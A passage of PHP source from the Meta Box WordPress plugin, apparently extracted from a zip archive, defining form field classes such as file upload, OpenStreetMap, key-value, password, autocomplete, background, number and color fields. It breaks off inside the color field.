			'<ul class="rwmb-files" data-field_id="%s" data-field_name="%s" data-delete_nonce="%s" data-force_delete="%s" data-max_file_uploads="%s" data-mime_type="%s">%s</ul>',
			$field['id'],
			$field['field_name'],
			$delete_nonce,
			$field['force_delete'] ? 1 : 0,
			$field['max_file_uploads'],
			$field['mime_type'],
			$output
		);
	}

	/**
	 * Get HTML for uploaded file.
	 *
	 * @param int   $file  Attachment (file) ID.
	 * @param int   $index File index.
	 * @param array $field Field data.
	 * @return string
	 */
	protected static function file_html( $file, $index, $field ) {
		$i18n_delete = apply_filters( 'rwmb_file_delete_string', _x( 'Delete', 'file upload', 'meta-box' ) );
		$i18n_edit   = apply_filters( 'rwmb_file_edit_string', _x( 'Edit', 'file upload', 'meta-box' ) );
		$attributes  = self::get_attributes( $field, $file );

		if ( ! $file ) {
			return '';
		}

		if ( $field['upload_dir'] ) {
			$data = self::file_info_custom_dir( $file, $field );
		} else {
			$data      = [
				'icon'      => wp_get_attachment_image( $file, [ 48, 64 ], true ),
				'name'      => basename( get_attached_file( $file ) ),
				'url'       => wp_get_attachment_url( $file ),
				'title'     => get_the_title( $file ),
				'edit_link' => '',
			];
			$edit_link = get_edit_post_link( $file );
			if ( $edit_link ) {
				$data['edit_link'] = sprintf( '<a href="%s" class="rwmb-file-edit" target="_blank">%s</a>', $edit_link, $i18n_edit );
			}
		}

		return sprintf(
			'<li class="rwmb-file">
				<div class="rwmb-file-icon">%s</div>
				<div class="rwmb-file-info">
					<a href="%s" target="_blank" class="rwmb-file-title">%s</a>
					<div class="rwmb-file-name">%s</div>
					<div class="rwmb-file-actions">
						%s
						<a href="#" class="rwmb-file-delete" data-attachment_id="%s">%s</a>
					</div>
				</div>
				<input type="hidden" name="%s[%s]" value="%s">
			</li>',
			$data['icon'],
			esc_url( $data['url'] ),
			esc_html( $data['title'] ),
			esc_html( $data['name'] ),
			$data['edit_link'],
			esc_attr( $file ),
			esc_html( $i18n_delete ),
			esc_attr( $attributes['name'] ),
			esc_attr( $index ),
			esc_attr( $file )
		);
	}

	protected static function file_info_custom_dir( string $file, array $field ) : array {
		$path     = wp_normalize_path( trailingslashit( $field['upload_dir'] ) . basename( $file ) );
		$ext      = pathinfo( $path, PATHINFO_EXTENSION );
		$icon_url = wp_mime_type_icon( wp_ext2type( $ext ) );
		$data     = [
			'icon'      => '<img width="48" height="64" src="' . esc_url( $icon_url ) . '" alt="">',
			'name'      => basename( $path ),
			'path'      => $path,
			'url'       => $file,
			'title'     => preg_replace( '/\.[^.]+$/', '', basename( $path ) ),
			'edit_link' => '',
		];
		return $data;
	}

	/**
	 * Get meta values to save.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return array|mixed
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$input = $field['index'] ?? $field['input_name'];

		// @codingStandardsIgnoreLine
		if ( empty( $input ) || empty( $_FILES[ $input ] ) ) {
			return $new;
		}

		$new = array_filter( (array) $new );

		$count = self::transform( $input );
		for ( $i = 0; $i < $count; $i ++ ) {
			$attachment = self::handle_upload( "{$input}_{$i}", $post_id, $field );
			if ( $attachment && ! is_wp_error( $attachment ) ) {
				$new[] = $attachment;
			}
		}

		return $new;
	}

	/**
	 * Get meta values to save for cloneable fields.
	 *
	 * @param array $new         The submitted meta value.
	 * @param array $old         The existing meta value.
	 * @param int   $object_id   The object ID.
	 * @param array $field       The field settings.
	 * @param array $data_source Data source. Either $_POST or custom array. Used in group to get uploaded files.
	 *
	 * @return mixed
	 */
	public static function clone_value( $new, $old, $object_id, $field, $data_source = null ) {
		if ( ! $data_source ) {
			// @codingStandardsIgnoreLine
			$data_source = $_POST;
		}

		$indexes = $data_source[ "_index_{$field['id']}" ] ?? [];
		foreach ( $indexes as $key => $index ) {
			$field['index'] = $index;

			$old_value   = $old[ $key ] ?? [];
			$value       = $new[ $key ] ?? [];
			$value       = self::value( $value, $old_value, $object_id, $field );
			$new[ $key ] = self::filter( 'sanitize', $value, $field, $old_value, $object_id );
		}

		return $new;
	}

	/**
	 * Handle file upload.
	 * Consider upload to Media Library or custom folder.
	 *
	 * @param string $file_id File ID in $_FILES when uploading.
	 * @param int    $post_id Post ID.
	 * @param array  $field   Field settings.
	 *
	 * @return \WP_Error|int|string WP_Error if has error, attachment ID if upload in Media Library, URL to file if upload to custom folder.
	 */
	protected static function handle_upload( $file_id, $post_id, $field ) {
		return $field['upload_dir'] ? self::handle_upload_custom_dir( $file_id, $field ) : media_handle_upload( $file_id, $post_id );
	}

	/**
	 * Transform $_FILES from $_FILES['field']['key']['index'] to $_FILES['field_index']['key'].
	 *
	 * @param string $input_name The field input name.
	 *
	 * @return int The number of uploaded files.
	 */
	protected static function transform( $input_name ) {
		// @codingStandardsIgnoreStart
		foreach ( $_FILES[ $input_name ] as $key => $list ) {
			foreach ( $list as $index => $value ) {
				$file_key = "{$input_name}_{$index}";
				if ( ! isset( $_FILES[ $file_key ] ) ) {
					$_FILES[ $file_key ] = [];
				}
				$_FILES[ $file_key ][ $key ] = $value;
			}
		}

		return count( $_FILES[ $input_name ]['name'] );
		// @codingStandardsIgnoreEnd
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'std'                      => [],
			'force_delete'             => false,
			'max_file_uploads'         => 0,
			'mime_type'                => '',
			'upload_dir'               => '',
			'unique_filename_callback' => null,
		] );

		$field['multiple']   = true;
		$field['input_name'] = "_file_{$field['id']}";
		$field['index_name'] = "_index_{$field['id']}";

		return $field;
	}

	/**
	 * Get the field value. Return meaningful info of the files.
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Not used for this field.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed Full info of uploaded files
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		$value = parent::get_value( $field, $args, $post_id );
		if ( ! $field['clone'] ) {
			$value = static::files_info( $field, $value, $args );
		} else {
			$return = [];
			foreach ( $value as $subvalue ) {
				$return[] = static::files_info( $field, $subvalue, $args );
			}
			$value = $return;
		}
		if ( isset( $args['limit'] ) ) {
			$value = array_slice( $value, 0, intval( $args['limit'] ) );
		}
		return $value;
	}

	/**
	 * Get uploaded files information.
	 *
	 * @param array $field Field parameters.
	 * @param array $files Files IDs.
	 * @param array $args  Additional arguments (for image size).
	 * @return array
	 */
	public static function files_info( $field, $files, $args ) {
		$return = [];
		foreach ( (array) $files as $file ) {
			$info = static::file_info( $file, $args, $field );
			if ( $info ) {
				$return[ $file ] = $info;
			}
		}
		return $return;
	}

	/**
	 * Get uploaded file information.
	 *
	 * @param int   $file  Attachment file ID (post ID). Required.
	 * @param array $args  Array of arguments (for size).
	 * @param array $field Field settings.
	 *
	 * @return array|bool False if file not found. Array of (id, name, path, url) on success.
	 */
	public static function file_info( $file, $args = [], $field = [] ) {
		if ( ! empty( $field['upload_dir'] ) ) {
			return self::file_info_custom_dir( $file, $field );
		}

		$path = get_attached_file( $file );
		if ( ! $path ) {
			return false;
		}

		return wp_parse_args(
			[
				'ID'    => $file,
				'name'  => basename( $path ),
				'path'  => $path,
				'url'   => wp_get_attachment_url( $file ),
				'title' => get_the_title( $file ),
			],
			wp_get_attachment_metadata( $file )
		);
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return sprintf( '<a href="%s" target="_blank">%s</a>', esc_url( $value['url'] ), esc_html( $value['title'] ) );
	}

	/**
	 * Handle upload for files in custom directory.
	 *
	 * @param string $file_id File ID in $_FILES when uploading.
	 * @param array  $field   Field settings.
	 *
	 * @return string URL to uploaded file.
	 */
	public static function handle_upload_custom_dir( $file_id, $field ) {
		// @codingStandardsIgnoreStart
		if ( empty( $_FILES[ $file_id ] ) ) {
			return;
		}
		$file = $_FILES[ $file_id ];
		// @codingStandardsIgnoreEnd

		// Use a closure to filter upload directory. Requires PHP >= 5.3.0.
		$filter_upload_dir = function( $uploads ) use ( $field ) {
			$uploads['path']    = $field['upload_dir'];
			$uploads['url']     = self::convert_path_to_url( $field['upload_dir'] );
			$uploads['subdir']  = '';
			$uploads['basedir'] = $field['upload_dir'];

			return $uploads;
		};

		// Make sure upload dir is inside WordPress.
		$upload_dir = wp_normalize_path( untrailingslashit( $field['upload_dir'] ) );
		$root       = wp_normalize_path( untrailingslashit( ABSPATH ) );
		if ( ! str_starts_with( $upload_dir, $root ) ) {
			return;
		}

		// Let WordPress handle upload to the custom directory.
		add_filter( 'upload_dir', $filter_upload_dir );
		$overrides = [
			'test_form'                => false,
			'unique_filename_callback' => $field['unique_filename_callback'],
		];
		$file_info = wp_handle_upload( $file, $overrides );
		remove_filter( 'upload_dir', $filter_upload_dir );

		return empty( $file_info['url'] ) ? null : $file_info['url'];
	}

	public static function convert_path_to_url( string $path ) : string {
		$path          = wp_normalize_path( untrailingslashit( $path ) );
		$root          = wp_normalize_path( untrailingslashit( ABSPATH ) );
		$relative_path = str_replace( $root, '', $path );

		return home_url( $relative_path );
	}
}
PK     0w\!    )  dashboard/lib/meta-box/inc/fields/osm.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The Open Street Map field.
 */
class RWMB_OSM_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		self::enqueue_map_assets();

		wp_enqueue_style( 'rwmb-osm', RWMB_CSS_URL . 'osm.css', [ 'leaflet' ], RWMB_VER );
		wp_style_add_data( 'rwmb-osm', 'path', RWMB_CSS_DIR . 'osm.css' );
		wp_enqueue_script( 'rwmb-osm', RWMB_JS_URL . 'osm.js', [ 'jquery', 'jquery-ui-autocomplete', 'leaflet' ], RWMB_VER, true );

		RWMB_Helpers_Field::localize_script_once( 'rwmb-osm', 'RWMB_Osm', [
			'no_results_string' => __( 'No results found', 'meta-box' ),
		] );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field'];
		$html    = sprintf(
			'<div class="rwmb-osm-field" data-address-field="%s">',
			esc_attr( $address )
		);

		$attributes          = self::get_attributes( $field, $meta );
		$attributes['type']  = 'hidden';
		$attributes['value'] = $meta;

		$html .= sprintf(
			'<div class="rwmb-osm-canvas" data-default-loc="%s" data-region="%s" data-language="%s"></div>
			<input %s>',
			esc_attr( $field['std'] ),
			esc_attr( $field['region'] ),
			esc_attr( $field['language'] ),
			self::render_attributes( $attributes )
		);

		$html .= '</div>';

		return $html;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'std'           => '',
			'address_field' => '',
			'language'      => '',
			'region'        => '',
		] );

		return $field;
	}

	/**
	 * Get the field value.
	 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value
	 * of the field saved in the database, while this function returns more meaningful value of the field.
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Not used for this field.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed Array(latitude, longitude, zoom)
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		$value = parent::get_value( $field, $args, $post_id );

		if ( is_array( $value ) ) {
			$location = [];
			foreach ( $value as $clone ) {
				list( $latitude, $longitude, $zoom ) = explode( ',', $clone . ',,' );
				$location[]                            = compact( 'latitude', 'longitude', 'zoom' );
			}
			return $location;
		}

		list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' );
		return compact( 'latitude', 'longitude', 'zoom' );
	}

	/**
	 * Format value before render map
	 * @param mixed $field
	 * @param mixed $value
	 * @param mixed $args
	 * @param mixed $post_id
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ): string {
		return self::render_map( $value, $args );
	}

	/**
	 * Render a map in the frontend.
	 *
	 * @param string|array $location The "latitude,longitude[,zoom]" location.
	 * @param array  $args     Additional arguments for the map.
	 *
	 * @return string
	 */
	public static function render_map( $location, $args = [] ) {
        // For compatibility with previous version, or within groups.
		if ( is_string( $location ) ) {
			list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' );
		} else {
			extract( $location );
		}

        if ( ! $latitude || ! $longitude ) {
            return '';
        }

		$args = wp_parse_args( $args, [
			'latitude'     => $latitude,
			'longitude'    => $longitude,
			'width'        => '100%',
			'height'       => '480px',
			'marker'       => true, // Display marker?
			'marker_title' => '', // Marker title, when hover.
			'info_window'  => '', // Content of info window (when click on marker). HTML allowed.
			'js_options'   => [],
			'zoom'         => $zoom,
		] );

		self::enqueue_map_assets();
		wp_enqueue_script( 'rwmb-osm-frontend', RWMB_JS_URL . 'osm-frontend.js', [ 'jquery', 'leaflet' ], RWMB_VER, true );
		wp_enqueue_style( 'rwmb-osm-frontend', RWMB_CSS_URL . 'osm-frontend.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-osm-frontend', 'path', RWMB_CSS_DIR . 'osm-frontend.css' );

		/*
		 * More Open Street Map options
		 * @link https://leafletjs.com/reference-1.5.0.html#map-option
		 */
		$args['js_options'] = wp_parse_args( $args['js_options'], [
			// Default to 'zoom' level set in admin, but can be overwritten.
			'zoom' => $args['zoom'],
		] );

		$output = sprintf(
			'<div class="rwmb-osm-canvas" data-osm_options="%s" style="width:%s;height:%s"></div>',
			esc_attr( wp_json_encode( $args ) ),
			esc_attr( $args['width'] ),
			esc_attr( $args['height'] )
		);
		return $output;
	}

	private static function enqueue_map_assets() {
		wp_enqueue_style( 'leaflet', 'https://unpkg.com/leaflet@1.9.4/dist/leaflet.css', [], '1.9.4' );
		wp_enqueue_script( 'leaflet', 'https://unpkg.com/leaflet@1.9.4/dist/leaflet.js', [], '1.9.4', true );
	}
}
PK     0w\_     /  dashboard/lib/meta-box/inc/fields/key-value.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The key-value field which allows users to add pairs of keys and values.
 */
class RWMB_Key_Value_Field extends RWMB_Input_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-key-value', RWMB_CSS_URL . 'key-value.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-key-value', 'path', RWMB_CSS_DIR . 'key-value.css' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		// Key.
		$key                       = isset( $meta[0] ) ? $meta[0] : '';
		$attributes                = self::get_attributes( $field, $key );
		$attributes['placeholder'] = $field['placeholder']['key'];
		$html                      = sprintf( '<input %s>', self::render_attributes( $attributes ) );

		// Value.
		$val                       = isset( $meta[1] ) ? $meta[1] : '';
		$attributes                = self::get_attributes( $field, $val );
		$attributes['placeholder'] = $field['placeholder']['value'];
		$html                     .= sprintf( '<input %s>', self::render_attributes( $attributes ) );

		return $html;
	}

	protected static function begin_html( array $field ) : string {
		$desc = $field['desc'] ? "<p id='{$field['id']}_description' class='description'>{$field['desc']}</p>" : '';

		if ( empty( $field['name'] ) ) {
			return '<div class="rwmb-input">' . $desc;
		}

		return sprintf(
			'<div class="rwmb-label">
				<label for="%s">%s</label>
			</div>
			<div class="rwmb-input">
			%s',
			$field['id'],
			$field['name'],
			$desc
		);
	}

	protected static function input_description( array $field ) : string {
		return '';
	}

	/**
	 * Sanitize field value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return array
	 */
	public static function value( $new, $old, $post_id, $field ) {
		foreach ( $new as &$arr ) {
			if ( empty( $arr[0] ) && empty( $arr[1] ) ) {
				$arr = false;
			}
		}
		$new = array_filter( $new );
		return $new;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['clone']    = true;
		$field['multiple'] = true;
		$field             = parent::normalize( $field );

		$field['attributes']['type'] = 'text';
		$field['placeholder']        = wp_parse_args( (array) $field['placeholder'], [
			'key'   => __( 'Key', 'meta-box' ),
			'value' => __( 'Value', 'meta-box' ),
		] );
		return $field;
	}

	/**
	 * Format value for the helper functions.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_clone_value( $field, $value, $args, $post_id ) {
		return sprintf( '<label>%s:</label> %s', $value[0], $value[1] );
	}
}
PK     0w\)/    .  dashboard/lib/meta-box/inc/fields/password.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The secured password field.
 */
class RWMB_Password_Field extends RWMB_Input_Field {
	/**
	 * Store secured password in the database.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 * @return string
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new = $new !== $old ? wp_hash_password( $new ) : $new;
		return $new;
	}
}
PK     0w\5na  a  ,  dashboard/lib/meta-box/inc/fields/choice.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The abstract choice field.
 */
abstract class RWMB_Choice_Field extends RWMB_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		return '';
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'flatten' => true,
			'options' => [],
		] );

		// Use callback: function_name format from Meta Box Builder.
		if ( isset( $field['_callback'] ) && is_callable( $field['_callback'] ) ) {
			$field['options'] = call_user_func( $field['_callback'] );
		}

		return $field;
	}

	public static function transform_options( $options ) : array {
		$transformed = [];
		$options     = (array) $options;
		foreach ( $options as $value => $label ) {
			$option = is_array( $label ) ? $label : [
				'label' => (string) $label,
				'value' => (string) $value,
			];
			if ( isset( $option['label'] ) && isset( $option['value'] ) ) {
				$transformed[ $option['value'] ] = (object) $option;
			}
		}
		return $transformed;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		$options = self::transform_options( $field['options'] );
		return isset( $options[ $value ] ) ? $options[ $value ]->label : '';
	}
}
PK     0w\[O    2  dashboard/lib/meta-box/inc/fields/autocomplete.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The autocomplete field.
 */
class RWMB_Autocomplete_Field extends RWMB_Multiple_Values_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-autocomplete', RWMB_CSS_URL . 'autocomplete.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-autocomplete', 'path', RWMB_CSS_DIR . 'autocomplete.css' );
		wp_enqueue_script( 'rwmb-autocomplete', RWMB_JS_URL . 'autocomplete.js', [ 'jquery-ui-autocomplete' ], RWMB_VER, true );

		RWMB_Helpers_Field::localize_script_once( 'rwmb-autocomplete', 'RWMB_Autocomplete', [
			'delete' => __( 'Delete', 'meta-box' ),
		] );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		if ( ! is_array( $meta ) ) {
			$meta = [ $meta ];
		}

		// Filter out empty values in case the array started with empty or 0 values
		$meta = array_filter( $meta, function ( $index ) use ( $meta ) {
			return $meta[ $index ] !== '';
		}, ARRAY_FILTER_USE_KEY );

		$field   = apply_filters( 'rwmb_autocomplete_field', $field, $meta );
		$options = $field['options'];

		if ( is_array( $field['options'] ) ) {
			$options = [];
			foreach ( $field['options'] as $value => $label ) {
				$options[] = [
					'value' => (string) $value,
					'label' => $label,
				];
			}
			$options = wp_json_encode( $options );
		}

		// Input field that triggers autocomplete.
		// This field doesn't store field values, so it doesn't have "name" attribute.
		// The value(s) of the field is store in hidden input(s). See below.
		$html = sprintf(
			'<input type="text" class="rwmb-autocomplete-search">
			<input type="hidden" name="%s" class="rwmb-autocomplete" data-options="%s" disabled>',
			esc_attr( $field['field_name'] ),
			esc_attr( $options )
		);

		$html .= '<div class="rwmb-autocomplete-results">';

		// Each value is displayed with label and 'Delete' option.
		// The hidden input has to have ".rwmb-*" class to make clone work.
		$tpl = '
			<div class="rwmb-autocomplete-result">
				<div class="label">%s</div>
				<div class="actions">%s</div>
				<input type="hidden" class="rwmb-autocomplete-value" name="%s" value="%s">
			</div>
		';

		if ( is_array( $field['options'] ) ) {
			foreach ( $field['options'] as $value => $label ) {
				if ( ! in_array( $value, $meta ) ) {
					continue;
				}
				$html .= sprintf(
					$tpl,
					esc_html( $label ),
					esc_html__( 'Delete', 'meta-box' ),
					esc_attr( $field['field_name'] ),
					esc_attr( $value )
				);
			}
		} else {
			$meta = array_filter( $meta );
			foreach ( $meta as $value ) {
				$label = apply_filters( 'rwmb_autocomplete_result_label', $value, $field );
				$html .= sprintf(
					$tpl,
					esc_html( $label ),
					esc_html__( 'Delete', 'meta-box' ),
					esc_attr( $field['field_name'] ),
					esc_attr( $value )
				);
			}
		}

		$html .= '</div>'; // .rwmb-autocomplete-results.

		return $html;
	}
}
PK     0w\%mWE  E  0  dashboard/lib/meta-box/inc/fields/background.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The background field.
 */
class RWMB_Background_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-background', RWMB_CSS_URL . 'background.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-background', 'path', RWMB_CSS_DIR . 'background.css' );

		$args  = func_get_args();
		$field = reset( $args );
		$color = RWMB_Color_Field::normalize( [
			'type'          => 'color',
			'id'            => "{$field['id']}_color",
			'field_name'    => "{$field['field_name']}[color]",
			'alpha_channel' => true,
		] );
		RWMB_Color_Field::admin_enqueue_scripts( $color );
		RWMB_File_Input_Field::admin_enqueue_scripts();
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field settings.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$meta = wp_parse_args( $meta, [
			'color'      => '',
			'image'      => '',
			'repeat'     => '',
			'attachment' => '',
			'position'   => '',
			'size'       => '',
		] );

		$output = '<div class="rwmb-background-row">';

		// Color.
		$color   = RWMB_Color_Field::normalize( [
			'type'          => 'color',
			'id'            => "{$field['id']}_color",
			'field_name'    => "{$field['field_name']}[color]",
			'alpha_channel' => true,
		] );
		$output .= RWMB_Color_Field::html( $meta['color'], $color );

		$output .= '</div><!-- .rwmb-background-row -->';
		$output .= '<div class="rwmb-background-row">';

		// Image.
		$image   = RWMB_File_Input_Field::normalize( [
			'type'        => 'file_input',
			'id'          => "{$field['id']}_image",
			'field_name'  => "{$field['field_name']}[image]",
			'placeholder' => __( 'Background Image', 'meta-box' ),
		] );
		$output .= RWMB_File_Input_Field::html( $meta['image'], $image );

		$output .= '</div><!-- .rwmb-background-row -->';
		$output .= '<div class="rwmb-background-row">';

		// Repeat.
		$repeat  = RWMB_Select_Field::normalize( [
			'type'        => 'select',
			'id'          => "{$field['id']}_repeat",
			'field_name'  => "{$field['field_name']}[repeat]",
			'placeholder' => esc_html__( '-- Repeat --', 'meta-box' ),
			'options'     => [
				'no-repeat' => esc_html__( 'No Repeat', 'meta-box' ),
				'repeat'    => esc_html__( 'Repeat All', 'meta-box' ),
				'repeat-x'  => esc_html__( 'Repeat Horizontally', 'meta-box' ),
				'repeat-y'  => esc_html__( 'Repeat Vertically', 'meta-box' ),
				'inherit'   => esc_html__( 'Inherit', 'meta-box' ),
			],
		] );
		$output .= RWMB_Select_Field::html( $meta['repeat'], $repeat );

		// Position.
		$position = RWMB_Select_Field::normalize( [
			'type'        => 'select',
			'id'          => "{$field['id']}_position",
			'field_name'  => "{$field['field_name']}[position]",
			'placeholder' => esc_html__( '-- Position --', 'meta-box' ),
			'options'     => [
				'top left'      => esc_html__( 'Top Left', 'meta-box' ),
				'top center'    => esc_html__( 'Top Center', 'meta-box' ),
				'top right'     => esc_html__( 'Top Right', 'meta-box' ),
				'center left'   => esc_html__( 'Center Left', 'meta-box' ),
				'center center' => esc_html__( 'Center Center', 'meta-box' ),
				'center right'  => esc_html__( 'Center Right', 'meta-box' ),
				'bottom left'   => esc_html__( 'Bottom Left', 'meta-box' ),
				'bottom center' => esc_html__( 'Bottom Center', 'meta-box' ),
				'bottom right'  => esc_html__( 'Bottom Right', 'meta-box' ),
			],
		] );
		$output  .= RWMB_Select_Field::html( $meta['position'], $position );

		// Attachment.
		$attachment = RWMB_Select_Field::normalize( [
			'type'        => 'select',
			'id'          => "{$field['id']}_attachment",
			'field_name'  => "{$field['field_name']}[attachment]",
			'placeholder' => esc_html__( '-- Attachment --', 'meta-box' ),
			'options'     => [
				'fixed'   => esc_html__( 'Fixed', 'meta-box' ),
				'scroll'  => esc_html__( 'Scroll', 'meta-box' ),
				'inherit' => esc_html__( 'Inherit', 'meta-box' ),
			],
		] );
		$output    .= RWMB_Select_Field::html( $meta['attachment'], $attachment );

		// Size.
		$size    = RWMB_Select_Field::normalize( [
			'type'        => 'select',
			'id'          => "{$field['id']}_size",
			'field_name'  => "{$field['field_name']}[size]",
			'placeholder' => esc_html__( '-- Size --', 'meta-box' ),
			'options'     => [
				'inherit' => esc_html__( 'Inherit', 'meta-box' ),
				'cover'   => esc_html__( 'Cover', 'meta-box' ),
				'contain' => esc_html__( 'Contain', 'meta-box' ),
			],
		] );
		$output .= RWMB_Select_Field::html( $meta['size'], $size );
		$output .= '</div><!-- .rwmb-background-row -->';

		return $output;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( empty( $value ) ) {
			return '';
		}
		$output = '';
		$value  = array_filter( $value );
		foreach ( $value as $key => $subvalue ) {
			$subvalue = 'image' === $key ? 'url(' . esc_url( $subvalue ) . ')' : $subvalue;
			$output  .= 'background-' . $key . ': ' . $subvalue . ';';
		}
		return $output;
	}
}
PK     0w\42K    ,  dashboard/lib/meta-box/inc/fields/number.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The number field which uses HTML <input type="number">.
 */
class RWMB_Number_Field extends RWMB_Input_Field {
	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'step' => 1,
			'min'  => 0,
			'max'  => false,
		] );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = parent::get_attributes( $field, $value );
		$attributes = wp_parse_args( $attributes, [
			'step' => $field['step'],
			'max'  => $field['max'],
			'min'  => $field['min'],
		] );
		return $attributes;
	}
}
PK     0w\l	  	  +  dashboard/lib/meta-box/inc/fields/color.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The color field which uses WordPress color picker to select a color.
 */
class RWMB_Color_Field extends RWMB_Input_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-color', RWMB_CSS_URL . 'color.css', [ 'wp-color-picker' ], RWMB_VER );
		wp_style_add_data( 'rwmb-color', 'path', RWMB_CSS_DIR . 'color.css' );

		$dependencies = [ 'wp-color-picker' ];
		$args         = func_get_args();
		$field        = reset( $args );
		if ( ! empty( $field['alpha_channel'] ) ) {
			wp_enqueue_script( 'wp-color-picker-alpha', RWMB_JS_URL . 'wp-color-picker-alpha/wp-color-picker-alpha.min.js', [ 'wp-color-picker' ], RWMB_VER, true );
			$dependencies = [ 'wp-color-picker-alpha' ];
		}
		wp_enqueue_script( 'rwmb-color', RWMB_JS_URL . 'color.js', $dependencies, RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'alpha_channel' => false,
			'js_options'    => [],
		] );

		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'defaultColor' => false,
			'hide'         => true,
			'palettes'     => true,
		] );

		$field = parent::normalize( $field );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes         = parent::get_attributes( $field, $value );
		$attributes         = wp_parse_args( $attributes, [
			'data-options' => wp_json_encode( $field['js_options'] ),
		] );
